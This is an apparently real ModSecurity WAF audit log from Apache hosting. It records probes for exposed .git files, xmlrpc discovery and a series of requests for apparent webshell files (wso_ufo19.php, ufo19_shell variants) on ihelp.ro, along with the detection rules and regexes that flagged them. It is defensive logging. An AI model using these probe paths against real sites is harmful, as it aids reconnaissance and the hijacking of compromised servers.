Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/HEAD"] [unique_id "aqaVK2M7dE9KgIIOpQh@EQAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059899039 20887135 (- - -)
Stopwatch2: 1789302059899039 20887135; combined=4255, p1=207, p2=3971, p3=0, p4=0, p5=76, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d45cc336-Z--
--948fdb6e-A--
[13/Sep/2026:15:22:16.132433 +0300] aqaVeGM7dE9KgIIOpQh@RwAAAME 136.69.153.145 35708 127.0.0.1 7081
--948fdb6e-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 136.69.153.145
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--948fdb6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--948fdb6e-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mediabuy.ro"] [uri "/xmlrpc.php"] [unique_id "aqaVeGM7dE9KgIIOpQh@RwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mediabuy.ro"] [uri "/xmlrpc.php"] [unique_id "aqaVeGM7dE9KgIIOpQh@RwAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302136094372 38174 (- - -)
Stopwatch2: 1789302136094372 38174; combined=15216, p1=11876, p2=3277, p3=0, p4=0, p5=63, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--948fdb6e-Z--
--41fe8631-A--
[13/Sep/2026:15:24:39.539461 +0300] aqaWBmM7dE9KgIIOpQh@VAAAAMY 65.49.20.68 53026 127.0.0.1 7081
--41fe8631-B--
GET /.git/config HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 65.49.20.68
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: */*
Accept-Encoding: gzip
--41fe8631-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link:
; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=in04a5u6hfcj8uidam1q4shbvs; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--41fe8631-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302278077484 1462041 (- - -)
Stopwatch2: 1789302278077484 1462041; combined=34293, p1=411, p2=33810, p3=0, p4=0, p5=71, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--41fe8631-Z--
--8f671043-A--
[13/Sep/2026:15:35:40.266979 +0300] aqaYnDTJ6xTvcJoem7f9cwAAAEQ 47.128.26.84 35368 127.0.0.1 7081
--8f671043-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--8f671043-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 646109d53af43c125a937b56d9f339f0key=1b8636ceb612e27532811fe3f8d726a1
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8f671043-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaYnDTJ6xTvcJoem7f9cwAAAEQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaYnDTJ6xTvcJoem7f9cwAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302940221977 45221 (- - -)
Stopwatch2: 1789302940221977 45221; combined=9157, p1=3665, p2=5413, p3=0, p4=0, p5=78, sr=841, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--8f671043-Z--
--6e7fe96b-A--
[13/Sep/2026:15:35:41.170435 +0300] aqaYnSsVWymXUono-eRXBQAAAAw 47.128.26.84 35400 127.0.0.1 7081
--6e7fe96b-B--
GET /img/ufo_fm.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--6e7fe96b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6e7fe96b-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaYnSsVWymXUono-eRXBQAAAAw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaYnSsVWymXUono-eRXBQAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941010792 159726 (- - -)
Stopwatch2: 1789302941010792 159726; combined=5333, p1=261, p2=4983, p3=0, p4=0, p5=88, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--6e7fe96b-Z--
--3c1dcd77-A--
[13/Sep/2026:15:35:41.172360 +0300] aqaYnWM7dE9KgIIOpQh@kwAAAMM 47.128.26.84 35404 127.0.0.1 7081
--3c1dcd77-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--3c1dcd77-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3c1dcd77-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@kwAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@kwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941109537 62888 (- - -)
Stopwatch2: 1789302941109537 62888; combined=16973, p1=328, p2=16572, p3=0, p4=0, p5=72, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--3c1dcd77-Z--
--f42eaa43-A--
[13/Sep/2026:15:35:41.249715 +0300] aqaYnTTJ6xTvcJoem7f9dAAAAEc 47.128.26.84 35388 127.0.0.1 7081
--f42eaa43-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--f42eaa43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c9370647-1208-4011-bab8-db626fd65e12
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f42eaa43-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaYnTTJ6xTvcJoem7f9dAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaYnTTJ6xTvcJoem7f9dAAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941002275 247541 (- - -)
Stopwatch2: 1789302941002275 247541; combined=6182, p1=356, p2=5690, p3=0, p4=0, p5=136, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--f42eaa43-Z--
--da622c2e-A--
[13/Sep/2026:15:35:41.479799 +0300] aqaYnWM7dE9KgIIOpQh@lQAAAMY 47.128.26.84 35430 127.0.0.1 7081
--da622c2e-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499
--da622c2e-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--da622c2e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@lQAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941446021 34543 (- - -)
Stopwatch2: 1789302941446021 34543; combined=8937, p1=3547, p2=5295, p3=0, p4=0, p5=94, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--da622c2e-Z--
--7f85734a-A--
[13/Sep/2026:15:35:41.508146 +0300] aqaYnSsVWymXUono-eRXBwAAAA0 47.128.26.84 35414 127.0.0.1 7081
--7f85734a-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
